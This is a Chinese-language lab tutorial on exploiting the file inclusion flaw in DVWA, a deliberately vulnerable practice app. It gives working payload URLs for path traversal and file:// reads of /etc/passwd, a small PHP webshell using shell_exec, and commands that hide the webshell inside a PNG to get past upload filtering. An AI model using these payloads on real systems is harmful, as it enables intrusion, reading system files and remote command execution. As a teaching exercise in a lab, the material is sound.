web漏洞之文件包含漏洞
一、文件包含漏洞
1、把DVWA页面改为low级别,然后点击File Inclusion页面
原理是File Inclusion页面访问的是low.php和include.php,这两个页面包含了include($_GET['page'])这句话,意思是page会把用户输入的参数带进来然后由$_GET读取,最后交给include()函数转换成php语言执行,比如用户输入http://xxx.xxx/?page=../../webshell.php就等于 include(../../webshell.php),只要访问的php页面包含include($_GET['page'])就可以进行文件包含漏洞渗透操作。
include($_GET['page']) 中的page可以随便定义只要和用户输入的page保持一致即可
?page=../../ 或 ?page=/etc/passwd 都属于相对路径,意思是从当前目录开始查看
?page=file:///etc/passwd 通过file://的方式属于绝对路径
-----------------------------------------------------------------------
(1) 先上传一个webshell.php文件到file upload页面
(2) 然后在file inclusion页面访问如下url执行这个webshell.php文件
http://192.168.1.107/DVWA/vulnerabilities/fi/?page=../../hackable/uploads/webshell.php
或
http://192.168.1.107/DVWA/vulnerabilities/fi/?page=../../../../../../etc/passwd
也可以使用绝对路径
http://192.168.1.107/DVWA/vulnerabilities/fi/?page=file:///etc/passwd
(3) 如果网站不允许上传.php文件可以把webshell嵌入到图片中执行
cat 1.png webshell.php > 2.png
http://192.168.1.107/DVWA/vulnerabilities/fi/?page=../../hackable/uploads/2.png
2、如果把dvwa的级别提高到High,那么再上传webshell.php就会失败,此时就只能上传png/jpg文件才可以
(1) 先准备好2.png图片然后把webshell.php的代码植入到3.png图片中
webshell:
<?php echo shell_exec("df"); ?>
windows:
Copy b/ 2.png+webshell.php 3.png
mac/linux:顺序不要搞反了
cat 2.png webshell.php > 3.png
(2) 上传3.png到DVWA
访问3.png正常显示图片:
http://192.168.1.107/DVWA/hackable/uploads/3.png
(3) 利用文件包含漏洞进行渗透(需要提前知道你上传图片的路径)
http://192.168.1.107/DVWA/vulnerabilities/fi/?page=file:///var/www/html/DVWA/hackable/uploads/3.png
DVWA为了方便用户学习会主动句提供文件包含漏洞模块fi/?page=来帮助用户学习
或者
http://192.168.1.107/DVWA/vulnerabilities/fi/?page=file:///etc/passwd
file://: 表示系统文件的绝对路径,这里只能用绝对路径因为级别是High